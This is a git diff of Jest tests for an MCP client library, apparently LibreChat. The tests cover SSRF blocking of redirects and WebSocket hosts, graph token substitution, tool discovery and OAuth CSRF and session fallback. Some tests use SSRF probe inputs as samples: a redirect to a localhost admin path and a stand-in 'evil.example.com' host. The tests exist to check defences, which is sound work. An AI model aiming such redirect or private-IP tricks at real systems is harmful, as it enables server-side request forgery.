createRedirectingServer(`http://127.0.0.1:${targetPort}/admin`); + + conn = new MCPConnection({ + serverName: 'redirect-test-2', + serverConfig: { type: 'streamable-http', url: redirectServer.url }, + useSSRFProtection: false, + }); + + await expect(conn.connect()).rejects.toThrow(); + expect(redirectServer.redirectHit).toBe(false); + }); + + it('should connect normally to a non-redirecting streamable-http server', async () => { + const realServer = await createStreamableServer(); + try { + conn = new MCPConnection({ + serverName: 'legit-server', + serverConfig: { type: 'streamable-http', url: realServer.url }, + useSSRFProtection: false, + }); + + await conn.connect(); + const tools = await conn.fetchTools(); + expect(tools).toBeDefined(); + } finally { + await safeDisconnect(conn); + conn = null; + await realServer.close(); + } + }); +}); + +describe('MCP SSRF protection – WebSocket DNS resolution', () => { + let conn: MCPConnection | null; + + afterEach(async () => { + await safeDisconnect(conn); + conn = null; + jest.restoreAllMocks(); + }); + + it('should block WebSocket to host resolving to private IP when SSRF protection is on', async () => { + mockedResolveHostnameSSRF.mockResolvedValueOnce(true); + + conn = new MCPConnection({ + serverName: 'ws-ssrf-test', + serverConfig: { type: 'websocket', url: 'ws://evil.example.com:8080/mcp' }, + useSSRFProtection: true, + }); + + await expect(conn.connect()).rejects.toThrow(/SSRF protection/); + expect(mockedResolveHostnameSSRF).toHaveBeenCalledWith( + expect.stringContaining('evil.example.com'), + ); + }); + + it('should block WebSocket to host resolving to private IP even with SSRF protection off', async () => { + mockedResolveHostnameSSRF.mockResolvedValueOnce(true); + + conn = new MCPConnection({ + serverName: 'ws-ssrf-allowlist', + serverConfig: { type: 'websocket', url: 'ws://allowlisted.example.com:8080/mcp' }, + useSSRFProtection: false, + }); + + await expect(conn.connect()).rejects.toThrow(/SSRF protection/); + expect(mockedResolveHostnameSSRF).toHaveBeenCalledWith( + expect.stringContaining('allowlisted.example.com'), + ); + }); + + it('should allow WebSocket to host resolving to public IP', async () => { + mockedResolveHostnameSSRF.mockResolvedValueOnce(false); + + conn = new MCPConnection({ + serverName: 'ws-public-test', + serverConfig: { type: 'websocket', url: 'ws://public.example.com:8080/mcp' }, + useSSRFProtection: true, + }); + + /** Fails on connect (no real server), but the error must not be an SSRF rejection. */ + await expect(conn.connect()).rejects.not.toThrow(/SSRF protection/); + }); +}); diff --git a/packages/api/src/mcp/__tests__/MCPManager.test.ts b/packages/api/src/mcp/__tests__/MCPManager.test.ts index e75cd09b33..bf63a6af3c 100644 --- a/packages/api/src/mcp/__tests__/MCPManager.test.ts +++ b/packages/api/src/mcp/__tests__/MCPManager.test.ts @@ -1,10 +1,14 @@ import { logger } from '@librechat/data-schemas'; +import type { IUser } from '@librechat/data-schemas'; +import type { GraphTokenResolver } from '~/utils/graph'; import type * as t from '~/mcp/types'; -import { MCPManager } from '~/mcp/MCPManager'; import { MCPServersInitializer } from '~/mcp/registry/MCPServersInitializer'; import { MCPServerInspector } from '~/mcp/registry/MCPServerInspector'; +import { MCPConnectionFactory } from '~/mcp/MCPConnectionFactory'; import { ConnectionsRepository } from '~/mcp/ConnectionsRepository'; -import { MCPConnection } from '../connection'; +import { MCPConnection } from '~/mcp/connection'; +import { MCPManager } from '~/mcp/MCPManager'; +import * as graphUtils from '~/utils/graph'; // Mock external dependencies jest.mock('@librechat/data-schemas', () => ({ @@ -16,10 +20,20 @@ jest.mock('@librechat/data-schemas', () => ({ }, })); +jest.mock('~/utils/graph', () => ({ + ...jest.requireActual('~/utils/graph'), + preProcessGraphTokens: jest.fn(), +})); + +jest.mock('~/utils/env', () => ({ + processMCPEnv: jest.fn((params) => params.options), +})); + const mockRegistryInstance = { getServerConfig: jest.fn(), getAllServerConfigs: jest.fn(), getOAuthServers: jest.fn(), + shouldEnableSSRFProtection: jest.fn().mockReturnValue(false), }; jest.mock('~/mcp/registry/MCPServersRegistry', () => ({ @@ -36,6 +50,7 @@ jest.mock('~/mcp/registry/MCPServersInitializer', () => ({ jest.mock('~/mcp/registry/MCPServerInspector'); jest.mock('~/mcp/ConnectionsRepository'); +jest.mock('~/mcp/MCPConnectionFactory'); const mockLogger = logger as jest.Mocked; @@ -389,4 +404,525 @@ describe('MCPManager', () => { ); }); }); + + describe('callTool - Graph Token Integration', () => { + const mockUser: Partial = { + id: 'user-123', + provider: 'openid', + openidId: 'oidc-sub-456', + }; + + const mockFlowManager = { + getState: jest.fn(), + setState: jest.fn(), + clearState: jest.fn(), + }; + + const mockConnection = { + isConnected: jest.fn().mockResolvedValue(true), + setRequestHeaders: jest.fn(), + timeout: 30000, + client: { + request: jest.fn().mockResolvedValue({ + content: [{ type: 'text', text: 'Tool result' }], + isError: false, + }), + }, + } as unknown as MCPConnection; + + const mockGraphTokenResolver: GraphTokenResolver = jest.fn().mockResolvedValue({ + access_token: 'resolved-graph-token', + token_type: 'Bearer', + expires_in: 3600, + scope: 'https://graph.microsoft.com/.default', + }); + + function createServerConfigWithGraphPlaceholder(): t.SSEOptions { + return { + type: 'sse', + url: 'https://api.example.com', + headers: { + Authorization: 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + 'Content-Type': 'application/json', + }, + }; + } + + beforeEach(() => { + jest.clearAllMocks(); + + // Mock preProcessGraphTokens to simulate token resolution + (graphUtils.preProcessGraphTokens as jest.Mock).mockImplementation( + async (options, graphOptions) => { + if ( + options.headers?.Authorization?.includes('{{LIBRECHAT_GRAPH_ACCESS_TOKEN}}') && + graphOptions.graphTokenResolver + ) { + return { + ...options, + headers: { + ...options.headers, + Authorization: 'Bearer resolved-graph-token', + }, + }; + } + return options; + }, + ); + }); + + it('should call preProcessGraphTokens with graphTokenResolver when provided', async () => { + const serverConfig = createServerConfigWithGraphPlaceholder(); + + mockAppConnections({ + get: jest.fn().mockResolvedValue(mockConnection), + }); + + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue(serverConfig); + + const manager = await MCPManager.createInstance(newMCPServersConfig()); + + await manager.callTool({ + user: mockUser as IUser, + serverName, + toolName: 'test_tool', + provider: 'openai', + flowManager: mockFlowManager as unknown as Parameters< + typeof manager.callTool + >[0]['flowManager'], + graphTokenResolver: mockGraphTokenResolver, + }); + + expect(graphUtils.preProcessGraphTokens).toHaveBeenCalledWith( + serverConfig, + expect.objectContaining({ + user: mockUser, + graphTokenResolver: mockGraphTokenResolver, + }), + ); + }); + + it('should resolve graph token placeholders in headers before tool call', async () => { + const serverConfig = createServerConfigWithGraphPlaceholder(); + + mockAppConnections({ + get: jest.fn().mockResolvedValue(mockConnection), + }); + + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue(serverConfig); + + const manager = await MCPManager.createInstance(newMCPServersConfig()); + + await manager.callTool({ + user: mockUser as IUser, + serverName, + toolName: 'test_tool', + provider: 'openai', + flowManager: mockFlowManager as unknown as Parameters< + typeof manager.callTool + >[0]['flowManager'], + graphTokenResolver: mockGraphTokenResolver, + }); + + // Verify the connection received the resolved headers + expect(mockConnection.setRequestHeaders).toHaveBeenCalledWith( + expect.objectContaining({ + Authorization: 'Bearer resolved-graph-token', + }), + ); + }); + + it('should pass options unchanged when no graphTokenResolver is provided', async () => { + const serverConfig: t.SSEOptions = { + type: 'sse', + url: 'https://api.example.com', + headers: { + Authorization: 'Bearer static-token', + }, + }; + + // Reset mock to return options unchanged + (graphUtils.preProcessGraphTokens as jest.Mock).mockImplementation( + async (options) => options, + ); + + mockAppConnections({ + get: jest.fn().mockResolvedValue(mockConnection), + }); + + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue(serverConfig); + + const manager = await MCPManager.createInstance(newMCPServersConfig()); + + await manager.callTool({ + user: mockUser as IUser, + serverName, + toolName: 'test_tool', + provider: 'openai', + flowManager: mockFlowManager as unknown as Parameters< + typeof manager.callTool + >[0]['flowManager'], + // No graphTokenResolver provided + }); + + // Verify preProcessGraphTokens was still called (to check for placeholders) + expect(graphUtils.preProcessGraphTokens).toHaveBeenCalledWith( + serverConfig, + expect.objectContaining({ + user: mockUser, + graphTokenResolver: undefined, + }), + ); + }); + + it('should handle graph token resolution failure gracefully', async () => { + const serverConfig = createServerConfigWithGraphPlaceholder(); + + // Simulate resolution failure - returns original value unchanged + (graphUtils.preProcessGraphTokens as jest.Mock).mockImplementation( + async (options) => options, + ); + + mockAppConnections({ + get: jest.fn().mockResolvedValue(mockConnection), + }); + + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue(serverConfig); + + const manager = await MCPManager.createInstance(newMCPServersConfig()); + + // Should not throw, even when token resolution fails + await expect( + manager.callTool({ + user: mockUser as IUser, + serverName, + toolName: 'test_tool', + provider: 'openai', + flowManager: mockFlowManager as unknown as Parameters< + typeof manager.callTool + >[0]['flowManager'], + graphTokenResolver: mockGraphTokenResolver, + }), + ).resolves.toBeDefined(); + + // Headers should contain the unresolved placeholder + expect(mockConnection.setRequestHeaders).toHaveBeenCalledWith( + expect.objectContaining({ + Authorization: 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + }), + ); + }); + + it('should resolve graph tokens in env variables', async () => { + const serverConfig: t.StdioOptions = { + type: 'stdio', + command: 'node', + args: ['server.js'], + env: { + GRAPH_TOKEN: '{{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + OTHER_VAR: 'static-value', + }, + }; + + // Mock resolution for env variables + (graphUtils.preProcessGraphTokens as jest.Mock).mockImplementation(async (options) => { + if (options.env?.GRAPH_TOKEN?.includes('{{LIBRECHAT_GRAPH_ACCESS_TOKEN}}')) { + return { + ...options, + env: { + ...options.env, + GRAPH_TOKEN: 'resolved-graph-token', + }, + }; + } + return options; + }); + + mockAppConnections({ + get: jest.fn().mockResolvedValue(mockConnection), + }); + + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue(serverConfig); + + const manager = await MCPManager.createInstance(newMCPServersConfig()); + + await manager.callTool({ + user: mockUser as IUser, + serverName, + toolName: 'test_tool', + provider: 'openai', + flowManager: mockFlowManager as unknown as Parameters< + typeof manager.callTool + >[0]['flowManager'], + graphTokenResolver: mockGraphTokenResolver, + }); + + expect(graphUtils.preProcessGraphTokens).toHaveBeenCalledWith( + serverConfig, + expect.objectContaining({ + graphTokenResolver: mockGraphTokenResolver, + }), + ); + }); + + it('should resolve graph tokens in URL', async () => { + const serverConfig: t.SSEOptions = { + type: 'sse', + url: 'https://api.example.com?token={{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + }; + + // Mock resolution for URL + (graphUtils.preProcessGraphTokens as jest.Mock).mockImplementation(async (options) => { + if (options.url?.includes('{{LIBRECHAT_GRAPH_ACCESS_TOKEN}}')) { + return { + ...options, + url: 'https://api.example.com?token=resolved-graph-token', + }; + } + return options; + }); + + mockAppConnections({ + get: jest.fn().mockResolvedValue(mockConnection), + }); + + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue(serverConfig); + + const manager = await MCPManager.createInstance(newMCPServersConfig()); + + await manager.callTool({ + user: mockUser as IUser, + serverName, + toolName: 'test_tool', + provider: 'openai', + flowManager: mockFlowManager as unknown as Parameters< + typeof manager.callTool + >[0]['flowManager'], + graphTokenResolver: mockGraphTokenResolver, + }); + + expect(graphUtils.preProcessGraphTokens).toHaveBeenCalledWith( + serverConfig, + expect.objectContaining({ + graphTokenResolver: mockGraphTokenResolver, + }), + ); + }); + + it('should pass scopes from environment variable to preProcessGraphTokens', async () => { + const originalEnv = process.env.GRAPH_API_SCOPES; + process.env.GRAPH_API_SCOPES = 'custom.scope.read custom.scope.write'; + + const serverConfig = createServerConfigWithGraphPlaceholder(); + + mockAppConnections({ + get: jest.fn().mockResolvedValue(mockConnection), + }); + + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue(serverConfig); + + const manager = await MCPManager.createInstance(newMCPServersConfig()); + + await manager.callTool({ + user: mockUser as IUser, + serverName, + toolName: 'test_tool', + provider: 'openai', + flowManager: mockFlowManager as unknown as Parameters< + typeof manager.callTool + >[0]['flowManager'], + graphTokenResolver: mockGraphTokenResolver, + }); + + expect(graphUtils.preProcessGraphTokens).toHaveBeenCalledWith( + serverConfig, + expect.objectContaining({ + scopes: 'custom.scope.read custom.scope.write', + }), + ); + + // Restore environment + if (originalEnv !== undefined) { + process.env.GRAPH_API_SCOPES = originalEnv; + } else { + delete process.env.GRAPH_API_SCOPES; + } + }); + + it('should work correctly when config has no graph token placeholders', async () => { + const serverConfig: t.SSEOptions = { + type: 'sse', + url: 'https://api.example.com', + headers: { + Authorization: 'Bearer static-token', + }, + }; + + // Mock to return unchanged options when no placeholders + (graphUtils.preProcessGraphTokens as jest.Mock).mockImplementation( + async (options) => options, + ); + + mockAppConnections({ + get: jest.fn().mockResolvedValue(mockConnection), + }); + + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue(serverConfig); + + const manager = await MCPManager.createInstance(newMCPServersConfig()); + + const result = await manager.callTool({ + user: mockUser as IUser, + serverName, + toolName: 'test_tool', + provider: 'openai', + flowManager: mockFlowManager as unknown as Parameters< + typeof manager.callTool + >[0]['flowManager'], + graphTokenResolver: mockGraphTokenResolver, + }); + + expect(result).toBeDefined(); + expect(mockConnection.setRequestHeaders).toHaveBeenCalledWith( + expect.objectContaining({ + Authorization: 'Bearer static-token', + }), + ); + }); + }); + + describe('discoverServerTools', () => { + const mockTools = [ + { name: 'tool1', description: 'First tool', inputSchema: { type: 'object' } }, + { name: 'tool2', description: 'Second tool', inputSchema: { type: 'object' } }, + ]; + + const mockConnection = { + isConnected: jest.fn().mockResolvedValue(true), + fetchTools: jest.fn().mockResolvedValue(mockTools), + } as unknown as MCPConnection; + + beforeEach(() => { + (MCPConnectionFactory.discoverTools as jest.Mock) = jest.fn(); + }); + + it('should return tools from existing app connection when available', async () => { + mockAppConnections({ + get: jest.fn().mockResolvedValue(mockConnection), + }); + + const manager = await MCPManager.createInstance(newMCPServersConfig()); + const result = await manager.discoverServerTools({ serverName }); + + expect(result.tools).toEqual(mockTools); + expect(result.oauthRequired).toBe(false); + expect(result.oauthUrl).toBeNull(); + expect(MCPConnectionFactory.discoverTools).not.toHaveBeenCalled(); + }); + + it('should use MCPConnectionFactory.discoverTools when no app connection available', async () => { + mockAppConnections({ + get: jest.fn().mockResolvedValue(null), + }); + + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue({ + type: 'stdio', + command: 'test', + args: [], + }); + + (MCPConnectionFactory.discoverTools as jest.Mock).mockResolvedValue({ + tools: mockTools, + connection: null, + oauthRequired: false, + oauthUrl: null, + }); + + const manager = await MCPManager.createInstance(newMCPServersConfig()); + const result = await manager.discoverServerTools({ serverName }); + + expect(result.tools).toEqual(mockTools); + expect(result.oauthRequired).toBe(false); + expect(MCPConnectionFactory.discoverTools).toHaveBeenCalled(); + }); + + it('should return null tools when server config not found', async () => { + mockAppConnections({ + get: jest.fn().mockResolvedValue(null), + }); + + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue(null); + + const manager = await MCPManager.createInstance(newMCPServersConfig()); + const result = await manager.discoverServerTools({ serverName }); + + expect(result.tools).toBeNull(); + expect(result.oauthRequired).toBe(false); + expect(mockLogger.warn).toHaveBeenCalledWith( + expect.stringContaining('Server config not found'), + ); + }); + + it('should return OAuth info when server requires OAuth but no user provided', async () => { + mockAppConnections({ + get: jest.fn().mockResolvedValue(null), + }); + + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue({ + type: 'sse', + url: 'https://api.example.com', + requiresOAuth: true, + }); + + const manager = await MCPManager.createInstance(newMCPServersConfig()); + const result = await manager.discoverServerTools({ serverName }); + + expect(result.tools).toBeNull(); + expect(result.oauthRequired).toBe(true); + expect(mockLogger.warn).toHaveBeenCalledWith( + expect.stringContaining('OAuth server requires user and flowManager'), + ); + }); + + it('should discover tools with OAuth when user and flowManager provided', async () => { + const mockUser = { id: 'user123', email: 'test@example.com' } as unknown as IUser; + const mockFlowManager = { + createFlow: jest.fn(), + getFlowState: jest.fn(), + deleteFlow: jest.fn(), + }; + + mockAppConnections({ + get: jest.fn().mockResolvedValue(null), + }); + + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue({ + type: 'sse', + url: 'https://api.example.com', + requiresOAuth: true, + }); + + (MCPConnectionFactory.discoverTools as jest.Mock).mockResolvedValue({ + tools: mockTools, + connection: null, + oauthRequired: true, + oauthUrl: 'https://auth.example.com/authorize', + }); + + const manager = await MCPManager.createInstance(newMCPServersConfig()); + const result = await manager.discoverServerTools({ + serverName, + user: mockUser, + flowManager: mockFlowManager as unknown as t.ToolDiscoveryOptions['flowManager'], + }); + + expect(result.tools).toEqual(mockTools); + expect(result.oauthRequired).toBe(true); + expect(result.oauthUrl).toBe('https://auth.example.com/authorize'); + expect(MCPConnectionFactory.discoverTools).toHaveBeenCalledWith( + expect.objectContaining({ serverName }), + expect.objectContaining({ user: mockUser, useOAuth: true }), + ); + }); + }); }); diff --git a/packages/api/src/mcp/__tests__/MCPOAuthCSRFFallback.test.ts b/packages/api/src/mcp/__tests__/MCPOAuthCSRFFallback.test.ts new file mode 100644 index 0000000000..cdba06cf8d --- /dev/null +++ b/packages/api/src/mcp/__tests__/MCPOAuthCSRFFallback.test.ts @@ -0,0 +1,232 @@ +/** + * Tests for the OAuth callback CSRF fallback logic. + * + * The callback route validates requests via three mechanisms (in order): + * 1. CSRF cookie (HMAC-based, set during initiate) + * 2. Session cookie (bound to authenticated userId) + * 3. Active PENDING flow in FlowStateManager (fallback for SSE/chat flows) + * + * This suite tests mechanism 3 — the PENDING flow fallback — including + * staleness enforcement and rejection of non-PENDING flows. + * + * These tests exercise the validation functions directly for fast, + * focused coverage. Route-level integration tests using supertest + * are in api/server/routes/__tests__/mcp.spec.js ("CSRF fallback + * via active PENDING flow" describe block). + */ + +import { Keyv } from 'keyv'; +import { FlowStateManager, PENDING_STALE_MS } from '~/flow/manager'; +import type { Request, Response } from 'express'; +import { + generateOAuthCsrfToken, + OAUTH_SESSION_COOKIE, + validateOAuthSession, + OAUTH_CSRF_COOKIE, + validateOAuthCsrf, +} from '~/oauth/csrf'; +import { MockKeyv } from './helpers/oauthTestServer'; + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + debug: jest.fn(), + }, + encryptV2: jest.fn(async (val: string) => `enc:${val}`), + decryptV2: jest.fn(async (val: string) => val.replace(/^enc:/, '')), +})); + +const CSRF_COOKIE_PATH = '/api/mcp'; + +function makeReq(cookies: Record = {}): Request { + return { cookies } as unknown as Request; +} + +function makeRes(): Response { + const res = { + clearCookie: jest.fn(), + } as unknown as Response; + return res; +} + +/** + * Replicate the callback route's three-tier validation logic. + * Returns which mechanism (if any) authorized the request. + */ +async function validateCallback( + req: Request, + res: Response, + flowId: string, + flowManager: FlowStateManager, +): Promise<'csrf' | 'session' | 'pendingFlow' | false> { + const flowUserId = flowId.split(':')[0]; + + const hasCsrf = validateOAuthCsrf(req, res, flowId, CSRF_COOKIE_PATH); + if (hasCsrf) { + return 'csrf'; + } + + const hasSession = validateOAuthSession(req, flowUserId); + if (hasSession) { + return 'session'; + } + + const pendingFlow = await flowManager.getFlowState(flowId, 'mcp_oauth'); + const pendingAge = pendingFlow?.createdAt ? Date.now() - pendingFlow.createdAt : Infinity; + if (pendingFlow?.status === 'PENDING' && pendingAge < PENDING_STALE_MS) { + return 'pendingFlow'; + } + + return false; +} + +describe('OAuth Callback CSRF Fallback', () => { + let flowManager: FlowStateManager; + + beforeEach(() => { + process.env.JWT_SECRET = 'test-secret-for-csrf'; + const store = new MockKeyv(); + flowManager = new FlowStateManager(store as unknown as Keyv, { ttl: 300000, ci: true }); + }); + + afterEach(() => { + delete process.env.JWT_SECRET; + jest.clearAllMocks(); + }); + + describe('CSRF cookie validation (mechanism 1)', () => { + it('should accept valid CSRF cookie', async () => { + const flowId = 'user1:test-server'; + const csrfToken = generateOAuthCsrfToken(flowId, 'test-secret-for-csrf'); + const req = makeReq({ [OAUTH_CSRF_COOKIE]: csrfToken }); + const res = makeRes(); + + const result = await validateCallback(req, res, flowId, flowManager); + expect(result).toBe('csrf'); + }); + + it('should reject invalid CSRF cookie', async () => { + const flowId = 'user1:test-server'; + const req = makeReq({ [OAUTH_CSRF_COOKIE]: 'wrong-token-value' }); + const res = makeRes(); + + const result = await validateCallback(req, res, flowId, flowManager); + expect(result).toBe(false); + }); + }); + + describe('Session cookie validation (mechanism 2)', () => { + it('should accept valid session cookie when CSRF is absent', async () => { + const flowId = 'user1:test-server'; + const sessionToken = generateOAuthCsrfToken('user1', 'test-secret-for-csrf'); + const req = makeReq({ [OAUTH_SESSION_COOKIE]: sessionToken }); + const res = makeRes(); + + const result = await validateCallback(req, res, flowId, flowManager); + expect(result).toBe('session'); + }); + }); + + describe('PENDING flow fallback (mechanism 3)', () => { + it('should accept when a fresh PENDING flow exists and no cookies are present', async () => { + const flowId = 'user1:test-server'; + await flowManager.initFlow(flowId, 'mcp_oauth', { serverName: 'test-server' }); + + const req = makeReq(); + const res = makeRes(); + + const result = await validateCallback(req, res, flowId, flowManager); + expect(result).toBe('pendingFlow'); + }); + + it('should reject when no PENDING flow, no CSRF cookie, and no session cookie', async () => { + const flowId = 'user1:test-server'; + const req = makeReq(); + const res = makeRes(); + + const result = await validateCallback(req, res, flowId, flowManager); + expect(result).toBe(false); + }); + + it('should reject when only a COMPLETED flow exists (not PENDING)', async () => { + const flowId = 'user1:test-server'; + await flowManager.initFlow(flowId, 'mcp_oauth', { serverName: 'test-server' }); + await flowManager.completeFlow(flowId, 'mcp_oauth', { access_token: 'tok' } as never); + + const req = makeReq(); + const res = makeRes(); + + const result = await validateCallback(req, res, flowId, flowManager); + expect(result).toBe(false); + }); + + it('should reject when only a FAILED flow exists', async () => { + const flowId = 'user1:test-server'; + await flowManager.initFlow(flowId, 'mcp_oauth', {}); + await flowManager.failFlow(flowId, 'mcp_oauth', 'some error'); + + const req = makeReq(); + const res = makeRes(); + + const result = await validateCallback(req, res, flowId, flowManager); + expect(result).toBe(false); + }); + + it('should reject when PENDING flow is stale (older than PENDING_STALE_MS)', async () => { + const flowId = 'user1:test-server'; + await flowManager.initFlow(flowId, 'mcp_oauth', { serverName: 'test-server' }); + + // Artificially age the flow past the staleness threshold + const store = (flowManager as unknown as { keyv: { get: (k: string) => Promise } }) + .keyv; + const flowState = (await store.get(`mcp_oauth:${flowId}`)) as { createdAt: number }; + flowState.createdAt = Date.now() - PENDING_STALE_MS - 1000; + + const req = makeReq(); + const res = makeRes(); + + const result = await validateCallback(req, res, flowId, flowManager); + expect(result).toBe(false); + }); + + it('should accept PENDING flow that is just under the staleness threshold', async () => { + const flowId = 'user1:test-server'; + await flowManager.initFlow(flowId, 'mcp_oauth', { serverName: 'test-server' }); + + // Flow was just created, well under threshold + const req = makeReq(); + const res = makeRes(); + + const result = await validateCallback(req, res, flowId, flowManager); + expect(result).toBe('pendingFlow'); + }); + }); + + describe('Priority ordering', () => { + it('should prefer CSRF cookie over PENDING flow', async () => { + const flowId = 'user1:test-server'; + await flowManager.initFlow(flowId, 'mcp_oauth', { serverName: 'test-server' }); + + const csrfToken = generateOAuthCsrfToken(flowId, 'test-secret-for-csrf'); + const req = makeReq({ [OAUTH_CSRF_COOKIE]: csrfToken }); + const res = makeRes(); + + const result = await validateCallback(req, res, flowId, flowManager); + expect(result).toBe('csrf'); + }); + + it('should prefer session cookie over PENDING flow when CSRF is absent', async () => { + const flowId = 'user1:test-server'; + await flowManager.initFlow(flowId, 'mcp_oauth', { serverName: 'test-server' }); + + const sessionToken = generateOAuthCsrfToken('user1', 'test-secret-for-csrf'); + const req = makeReq({ [OAUTH_SESSION_COOKIE]: sessionToken }); + const res = makeRes(); + + const result = await validateCallback(req, res, flowId, flowManager); + expect(result).toBe('session'); + }); + }); +}); diff --git a/packages/api/src/mcp/__tests__/MCPOAuthConnectionEvents.test.ts b/packages/api/src/mcp/__tests__/MCPOAuthConnectionEvents.test.ts new file mode 100644 index 0000000000..4e168d00f3 --- /dev/null +++ b/packages/api/src/mcp/__tests__/MCPOAuthConnectionEvents.test.ts @@ -0,0 +1,268 @@ +/** + * Tests for MCPConnection OAuth event cycle against a real OAuth-gated MCP server. + * + * Verifies: oauthRequired emission on 401, oauthHandled reconnection, + * oauthFailed rejection, timeout behavior, and token expiry mid-session. + */ + +import { MCPConnection } from '~/mcp/connection'; +import { createOAuthMCPServer } from './helpers/oauthTestServer'; +import type { OAuthTestServer } from './helpers/oauthTestServer'; +import type { MCPOAuthTokens } from '~/mcp/oauth'; + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + debug: jest.fn(), + }, + encryptV2: jest.fn(async (val: string) => `enc:${val}`), + decryptV2: jest.fn(async (val: string) => val.replace(/^enc:/, '')), +})); + +jest.mock('~/auth', () => ({ + createSSRFSafeUndiciConnect: jest.fn(() => undefined), + resolveHostnameSSRF: jest.fn(async () => false), +})); + +jest.mock('~/mcp/mcpConfig', () => ({ + mcpConfig: { CONNECTION_CHECK_TTL: 0, USER_CONNECTION_IDLE_TIMEOUT: 30 * 60 * 1000 }, +})); + +async function safeDisconnect(conn: MCPConnection | null): Promise { + if (!conn) { + return; + } + try { + await conn.disconnect(); + } catch { + // Ignore disconnect errors during cleanup + } +} + +async function exchangeCodeForToken(serverUrl: string): Promise { + const authRes = await fetch(`${serverUrl}authorize?redirect_uri=http://localhost&state=test`, { + redirect: 'manual', + }); + const location = authRes.headers.get('location') ?? ''; + const code = new URL(location).searchParams.get('code') ?? ''; + + const tokenRes = await fetch(`${serverUrl}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + const data = (await tokenRes.json()) as { access_token: string }; + return data.access_token; +} + +describe('MCPConnection OAuth Events — Real Server', () => { + let server: OAuthTestServer; + let connection: MCPConnection | null = null; + + beforeEach(() => { + MCPConnection.clearCooldown('test-server'); + }); + + afterEach(async () => { + await safeDisconnect(connection); + connection = null; + if (server) { + await server.close(); + } + jest.clearAllMocks(); + }); + + describe('oauthRequired event', () => { + beforeEach(async () => { + server = await createOAuthMCPServer({ tokenTTLMs: 60000 }); + }); + + it('should emit oauthRequired when connecting without a token', async () => { + connection = new MCPConnection({ + serverName: 'test-server', + serverConfig: { type: 'streamable-http', url: server.url }, + userId: 'user-1', + }); + + const oauthRequiredPromise = new Promise<{ + serverName: string; + error: Error; + serverUrl?: string; + userId?: string; + }>((resolve) => { + connection!.on('oauthRequired', (data) => { + resolve( + data as { + serverName: string; + error: Error; + serverUrl?: string; + userId?: string; + }, + ); + }); + }); + + // Connection will fail with 401, emitting oauthRequired + const connectPromise = connection.connect().catch(() => { + // Expected to fail since no one handles oauthRequired + }); + + let raceTimer: NodeJS.Timeout | undefined; + const eventData = await Promise.race([ + oauthRequiredPromise, + new Promise((_, reject) => { + raceTimer = setTimeout( + () => reject(new Error('Timed out waiting for oauthRequired')), + 10000, + ); + }), + ]).finally(() => clearTimeout(raceTimer)); + + expect(eventData.serverName).toBe('test-server'); + expect(eventData.error).toBeDefined(); + + // Emit oauthFailed to unblock connect() + connection.emit('oauthFailed', new Error('test cleanup')); + await connectPromise.catch(() => undefined); + }); + + it('should not emit oauthRequired when connecting with a valid token', async () => { + const accessToken = await exchangeCodeForToken(server.url); + + connection = new MCPConnection({ + serverName: 'test-server', + serverConfig: { type: 'streamable-http', url: server.url }, + userId: 'user-1', + oauthTokens: { + access_token: accessToken, + token_type: 'Bearer', + } as MCPOAuthTokens, + }); + + let oauthFired = false; + connection.on('oauthRequired', () => { + oauthFired = true; + }); + + await connection.connect(); + expect(await connection.isConnected()).toBe(true); + expect(oauthFired).toBe(false); + }); + }); + + describe('oauthHandled reconnection', () => { + beforeEach(async () => { + server = await createOAuthMCPServer({ tokenTTLMs: 60000 }); + }); + + it('should succeed on retry after oauthHandled provides valid tokens', async () => { + connection = new MCPConnection({ + serverName: 'test-server', + serverConfig: { + type: 'streamable-http', + url: server.url, + initTimeout: 15000, + }, + userId: 'user-1', + }); + + // First connect fails with 401 → oauthRequired fires + let oauthFired = false; + connection.on('oauthRequired', () => { + oauthFired = true; + connection!.emit('oauthFailed', new Error('Will retry with tokens')); + }); + + // First attempt fails as expected + await expect(connection.connect()).rejects.toThrow(); + expect(oauthFired).toBe(true); + + // Now set valid tokens and reconnect + const accessToken = await exchangeCodeForToken(server.url); + connection.setOAuthTokens({ + access_token: accessToken, + token_type: 'Bearer', + } as MCPOAuthTokens); + + await connection.connect(); + expect(await connection.isConnected()).toBe(true); + }); + }); + + describe('oauthFailed rejection', () => { + beforeEach(async () => { + server = await createOAuthMCPServer({ tokenTTLMs: 60000 }); + }); + + it('should reject connect() when oauthFailed is emitted', async () => { + connection = new MCPConnection({ + serverName: 'test-server', + serverConfig: { + type: 'streamable-http', + url: server.url, + initTimeout: 15000, + }, + userId: 'user-1', + }); + + connection.on('oauthRequired', () => { + connection!.emit('oauthFailed', new Error('User denied OAuth')); + }); + + await expect(connection.connect()).rejects.toThrow(); + }); + }); + + describe('Token expiry during session', () => { + it('should detect expired token on reconnect and emit oauthRequired', async () => { + server = await createOAuthMCPServer({ tokenTTLMs: 1000 }); + + const accessToken = await exchangeCodeForToken(server.url); + + connection = new MCPConnection({ + serverName: 'test-server', + serverConfig: { + type: 'streamable-http', + url: server.url, + initTimeout: 15000, + }, + userId: 'user-1', + oauthTokens: { + access_token: accessToken, + token_type: 'Bearer', + } as MCPOAuthTokens, + }); + + // Initial connect should succeed + await connection.connect(); + expect(await connection.isConnected()).toBe(true); + await connection.disconnect(); + + // Wait for token to expire + await new Promise((r) => setTimeout(r, 1200)); + + // Reconnect should trigger oauthRequired since token is expired on the server + let oauthFired = false; + 